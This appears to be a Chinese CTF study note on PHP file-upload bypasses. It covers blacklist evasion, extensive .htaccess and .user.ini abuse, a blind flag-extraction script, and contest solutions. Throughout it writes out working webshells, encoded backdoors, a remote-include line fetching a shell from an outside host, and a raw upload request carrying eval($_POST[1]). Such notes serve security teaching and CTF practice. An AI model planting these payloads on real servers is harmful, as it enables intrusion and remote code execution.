文件上传


有关php文件上传的一些特性

文件上传表单的构建

有时候题目需要你自己构造表单时,如何构建呢?

比较常见的表单构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://127.0.0.1:2333" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">


<!--poc无字母webshell上传,get传参值: ?><?=`.+/???/????????[@-[]`;?>
解释:反引号,点号可以执行sh命令,形成条件竞争 上传的文件会保存到/tmp/php?????? 后面的?是随机生成的大小写
使用@-[ (ASCII码匹配的大写)可以匹配到该文件
使用burp抓包,修改Content-Type: multipart/form-data;
内容: #!/bin/sh

要执行的命令 -->

</form>
</body>
</html>
<!--poc-->

带账户密码的传输

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1:2333/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="username" value="Example">
<input type="password" name="password" value="password">
<input type="submit" value="submit" />
</form>
</body>
</html>

平时我们上传到linux的文件会先保存在/tmp/phpxxxxxx

其中xxxxxx是六个随机字符(英文+数字)

然后会被立刻删除

更加详细的信息可以看到,假如我上传了一个图片叫02.jpg:

1
array(5) { ["name"]=> string(6) "02.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpCf5MYO" ["error"]=> int(0) ["size"]=> int(359549) }

文件上传漏洞其实是由于疏忽导致恶意木马能够上传,然后为我们所用(

文件上传绕过

前端校验

过滤写在前端的时候,恰好可以用ctfshow文件上传上的一句话:前台校验不可靠

绕过方法:

  • 将js禁用
  • f12修改前端js
  • 先通过上传合法的内容,然后将其抓包,改成恶意内容即可

MIME-TYPE:

什么是MIME-TYPE

上文讲到,文件上传时候的一些参数:

1
array(5) { ["name"]=> string(6) "02.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpCf5MYO" ["error"]=> int(0) ["size"]=> int(359549) }

其中["type"] => "image/jpeg"就是MIME-TYPE

此时我们只需要抓包修改上传文件时的Content-Type即可

后端黑名单

大小写绕过

例如in_array函数(该函数区分大小写),如果利用in_array作为黑名单时,能够利用大小写绕过:

1
2
3
4
5
6
7
8
//demo
<?php
$blacklist = array('php','phtml','ph','.htaccess','.user.ini');
var_dump(in_array('phP', $blacklist));
var_dump(in_array('php', $blacklist));
?>
//bool(false)
//bool(true)

不同后缀绕过

同样地,各种php后缀都是能够解析的:

  • php2
  • php3
  • php4
  • php5
  • pht
  • phtml
  • phps

利用.htaccess限制用户文件后缀的示例:

1
2
3
4
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
Order Deny,Allow
Deny from all
</FilesMatch>

大概意思是如果匹配到文件后缀,应用Deny阻止用户的所有访问

文件内容绕过

首先可以尝试大小写绕过

各种短标签:

  • <??>,等价于<?php?>,前提条件是short_open_tag = On
  • <?=?>,等价于<?php echo?>
  • <%%>,等价于<?php?>,前提条件是asp_tags = On,同时PHP版本<7.0
  • <script language = "php"></script>或者<script language = "php">,等价于<?php?>,前提条件是PHP版本<7.0

.htaccess

.htaccess是一个用于运行Apache网络服务器软件的网络服务器上的配置文件

.htaccess中拥有#作为单行注释符,同时支持\拼接上下两行

.htaccess会被Apache Web服务器检测并执行,以启用/禁用Apache Web服务器软件所提供的额外功能以及特性

利用方式:

自定义出错界面进行盲注

可以通过.htaccess创建自定义的出错页面:

1
2
3
<If "file('/flag') = ~ '/flag{a/'">
ErrorDocument 404 "any Error Content"
</If>

原理:

假设flag是flag{testflag}(波浪符号代表其开启了正则匹配)

通过不断变换at时,页面就会返回错误信息,也就是有any Error Content出现

利用这一点可以对flag的内容进行盲注,这一点在津门杯2021的uploadhub上出现过,这是来自Nu1l战队wupco师傅的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
f = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
'''
resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
强制处理

通过SetHandler或者ForceType强制所有被匹配到的文件用指定的处理器处理:

1
2
ForceType application/x-httpd-php
SetHandler application/x-httpd-php

强制当前目录下的所有文件用php进行解析

添加处理器
1
2
3
4
5
AddType application/x-httpd-php .png
使得.png也可以执行php程序

AddHandler cgi-script .yyy
使得拓展名为.yyy的文件作为CGI脚本处理
修改php_value

当使用PHP作为Apache的模块时,也可以利用Apache的配置文件(例如http.conf)和.htaccess来修改php的配置设定

前提:

  • 需要有AllowOverride Options 或者 AllowOverride All权限

要清除php_value原先设定的值,可以将value设置为none

如果要设置布尔值,需要使用php_flag

利用方式:

1
2
3
4
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 1.txt 在主文件解析之后自动包含1.txt的内容

前提当然是该目录下有一个php文件啦

当然,还可以利用.htaccess来包含/tmp下的文件:

1
2
3
php_value auto_append_file /tmp/webshell
php_value auto_append_file /tmp/sess_xxxxx
//session文件包含

通过设置回溯限制来绕过preg_match

1
php_value pcre.backtrack_limit 0

设置回溯次数为0,使得正则匹配的返回结果为0,绕过正则

修改php_flag

可以利用php_flag修改engine为0,在本目录和子目录中关闭php解析,造成源码泄露

本地文件包含
1
php_value auto_append_file /etc/passwd

在当前目录下php文件头引入/etc/passwd

修改include路径

.htaccess可以设置include_path将include()的默认路径改变:

1
php_value include_path "xxx"
远程文件包含

前提需要开启PHP的all_url_include选项,由于all_url_include的配置范围为PHP_INI_SYSTEM,所以无法利用php_flag设置all_url_include

1
php_value auto_append_file http://xxxx/shell.txt
伪协议包含

前提条件:

all_url_fopenall_url_include设置为On

1
2
3
4
5
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

php_value auto_append_file data://text/plain,<?php phpinfo();?>

php_value auto_append_file "php://filter/convert.base64-encode/resource=shell.txt"
让自身作为php文件处理
  • 当前目录下有php文件时,利用auto_append_file包含自己即可:
1
2
php_value auto_append_file .htaccess
#<?php phpinfo();?>

先前说过.htaccess#作为单行注释符,而\可以作为换行连接上下两行

所以如果有过滤时:

1
2
3
php_value auto_append_fi\
le .htaccess
#<?php phpinfo();?>
  • 当前目录下没有php文件时
  1. 将自身指定成php文件,利用SetHandler
1
2
SetHandler application/x-httpd-php
#<?php phpinfo(); ?>
1
2
3
4
5
6
7
8
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();?>
比较经典的.htaccess使用

配合一句话木马,使其作为php解析:

1
2
3
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

或者直接

1
2
3
AddType application/x-httpd-php .txt

AddHandler php7-script .txt
cgi脚本执行

如果开启了cgi拓展(需要加载cgi_module,也就是.conf文件中有 LoadModule cgi_module modules/mod_cgi.so)

1
2
3
Options +ExecCGI #允许CGI执行
AddHandler cgi-script .sh
#此处当然可以直接SetHandler cgi-script 强制解析成cgi

写个.sh的

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0
FastCgi执行

需要加载mod_fcgid.so

也就是

1
LoadModule fcgid_module modules/mod_fcgid.so

开启后,在.htaccess上写一个

1
2
3
4
Options +ExecCGI
#SetHandler fcgid-script
AddHandler fcgid-script .txt
FcgidWrapper "/bin/ls /" .txt

传一个随意的.txt

lua执行

新姿势,在2020年newupload中被使用

利用.htaccess将文件解析成.lua

1
AddHandler lua-script .lua

然后传一个1.lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
require "string"

function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)

if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end

自包含绕过<?
1
2
3
4
5
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4
#+ADw?php phpinfo()+Ads

utf7编码可以利用下面方式得到:

1
2
3
4
5
6
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=1.txt"; //utf-16le编码写入文件

file_put_contents($filename, "<?php eval(\$_GET[\'cmd\']); ?>");
system(cat 1.txt);
//+ADw?php eval(+ACQAXw-GET+AFsAXA'cmd+AFw'+AF0)+ADs ?+AD4-
1
2
3
4
5
6
7
8
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=1.txt"; //utf-16le编码写入文件

file_put_contents($filename, "<?php phpinfo();?>");

system('cat 1.txt');
?>
#+ADw?php phpinfo()+ADs?+AD4-
利用报错日志写🐎

例如[XNUCA2019Qualifier]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file){
if(is_file($file)){
if($file!=="index.php"){
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content'])||!isset($_GET['filename'])){
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content, 'on') || stristr($content, 'html') || stristr($content, 'type') || stristr($content, 'flag') || stristr($content, 'upload') || stristr($content, 'file')){
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1){
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file){
if(is_file($file)){
if($file!=="index.php"){
unlink($file);
}
}
}
file_put_contents($filename, $content."\nJust one chance");
?>

这题对文件的内容和文件名做出了限制,同时在结尾添加了\nJust one chance

这里可以利用.htaccess进行自包含:

1
2
3
php_value auto_append_fi\
le .htaccess
#<?php system('cat /f*');?>

url编码后传进去即可

另一种解法是利用题目中preg_match("/[^a-z\.]/", $filename) == 1,这里可以利用回溯限制绕过:

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

然后即可绕过preg_match,就可以利用php伪协议写shell:

1
2
3
$filename = php://filter/write=convert.base64-decode/resource=1.php

$content = PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

当然,由于其包含了fl3g.php

如果我们修改include_path,就可以使得fl3g.php是任意目录下的某个文件

利用error_log可以控制fl3g.php的内容:

1
2
3
4
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767 #设置报告等级
php_value error_log /tmp/fl3g.php #将错误日志写入/tmp/fl3g
# \

如果我们include_path修改后,include_once就会去include到这个不存在的文件夹,此时产生报错,报错内容写入了/tmp/fl3g.php

这里的#\是注释后面的脏数据

此时访问index.php后触发错误,将内容写入后再次修改.htaccess

1
2
3
4
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
# \

此时再次访问index.php,便会包含/tmp下的已经写入的木马

传入1=whoami即可

绕过exif_imagetype()上传.htaccess

假设题目限制了上传文件的图片尺寸:

假设利用getimagesize()等函数检测上传图片的尺寸,并且使用exif_imagetype()检查图片类型,此时我们可以使用:

1
2
3
#define width 20
#define height 10
xxxxxx

来绕过

源码泄露

前文说到,设置 engine值为0时会关闭源码解析,导致源码泄露:

1
php_flag engine 0
反序列化触发

php文件中发生反序列化时触发

1
php_value unserialize_callback_func "phpinfo"
shtml

.htaccess设置成利用shtml进行解析也可以进行rce:

1
2
3
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

shell.shtml

1
2
3
<pre>
<!--#exec cmd="ls" -->
</pre>

.user.ini

1
2
auto_prepend_file = shell.jpg
autp_append_file = shell.png

inc

利用spl_autoload_register函数:

1
2
spl_autoload_register('xx');
当下面有不存在的类时会调用该xx方法

如果不指定处理用的函数,就会自动包含类名.php或者类名.inc的文件

绕过pathinfo

这个题在NSSCTF 2nd的php签到中出现过,是需要绕过pathinfo

当然,upload labs的第20关也有利用到这个

1
2
3
4
5
6
7
8
9
10
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

这里利用了pathinfo获得文件的后缀名

但是pathinfo只会获取最后一个点之后的后缀名,如果利用/.就可以绕过pathinfo

post传包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:28004
Content-Length: 305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBSz3P5O8lKUPj27H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBSz3P5O8lKUPj27H
Content-Disposition: form-data; name="file"; filename="1.php%2f."
Content-Type: image/png

<?php eval($_POST[1]);?>
------WebKitFormBoundaryBSz3P5O8lKUPj27H
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryBSz3P5O8lKUPj27H--

记得要对/进行url编码再传入